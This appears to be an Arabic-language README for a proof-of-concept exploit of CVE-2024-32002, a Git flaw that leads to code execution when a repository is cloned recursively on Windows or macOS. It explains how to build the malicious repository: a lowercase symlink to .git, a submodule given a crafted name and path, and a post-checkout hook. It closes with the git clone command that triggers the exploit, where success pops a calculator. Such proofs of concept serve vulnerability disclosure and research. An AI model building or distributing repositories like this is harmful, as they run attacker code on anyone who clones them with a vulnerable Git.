CVE-2024-32002 POC لتنفيذ الأوامر عن بعد (RCE)
POC لـ CVE-2024-32002 يوضح تنفيذ الأوامر عن بعد (RCE).
انظر cve-2024-32002-poc-rce لمستودع الوحدة الفرعية المرتبطة.
ما يحتويه هذا المستودع
- رابط رمزي (symlink) باسم عشوائي يشير إلى مجلد
.git.
- ملف
.gitmodules يعرّف الوحدة الفرعية الضارة.
كيفية إعادة إنشاء هذا المستودع
تم إنشاء هذا المستودع في لينكس (WSL2 تحديدًا). هذا مهم، لا يمكن إنشاء المستودع الضار إلا على نظام ملفات حساس لحالة الأحرف.
- إنشاء رابط رمزي باستخدام أحرف صغيرة فقط
ملاحظات:
- يجب أن يشير الرابط الرمزي إلى مجلد .git، لأن هذا هو المكان الذي نريد كتابة الملفات فيه.
- اسم الرابط الرمزي (submodule) عشوائي، لكن يجب أن يبدأ بحرف صغير.
- هذا مهم لأن الأحرف الصغيرة تُرتَّب قبل الأحرف الكبيرة. عندما يرتبك جهاز الاستنساخ حول مكان كتابة ملفات الوحدة الفرعية، نريده أن يختار الرابط الرمزي وليس مجلدًا عاديًا.
- إضافة الوحدة الفرعية الضارة، مع ملاحظة اختلاف حالة الأحرف في اسم مجلد الوحدة الفرعية
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce
ملاحظات:
- اسم الوحدة الفرعية ("rce/notexists") مهم، سيدخل حيز التنفيذ عند وضع خطافنا (hook) في الوحدة الفرعية.
- يجب أن يطابق "rce" المقطع الأخير من مسار الوحدة الفرعية.
- يجب أن يطابق "notexists" اسم المجلد الذي يحتوي على hooks/post-checkout في مجلد الوحدة الفرعية. انظر cve-2024-32002-poc-rce.
- بنية مسار الوحدة الفرعية ("Submodule/modules/rce") مهمة أيضًا:
- يجب أن يطابق المقطع الأول من مسار الوحدة الفرعية ("Submodule") اسم الرابط الرمزي أعلاه، مع اختلاف حالة الأحرف فقط.
- المقطع الثاني ("modules") يطابق اسم المسار داخل مجلد
.git الذي يتتبع حالة git للوحدات الفرعية.
- المقطع الثالث ("rce") يجب أن يطابق المقطع الأول من اسم الوحدة الفرعية أعلاه.
كيفية تشغيل POC
تؤثر هذه الثغرة فقط على ويندوز وماك أو إس لأنهما يمتلكان أنظمة ملفات غير حساسة لحالة الأحرف.
- تحقق مما إذا كان لديك إصدار ضعيف من git. انظر إشعار GitHub للإصدارات المتأثرة.
- فكر فيما إذا كنت تريد عن علم تشغيل أمر يمكن أن يحقق RCE... هذا المستودع غير ضار، لكن هل أنت متأكد؟
- قم بتشغيل الأمر التالي:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git
- إذا نجح POC، يجب أن تكون قادرًا على القيام ببعض الحسابات!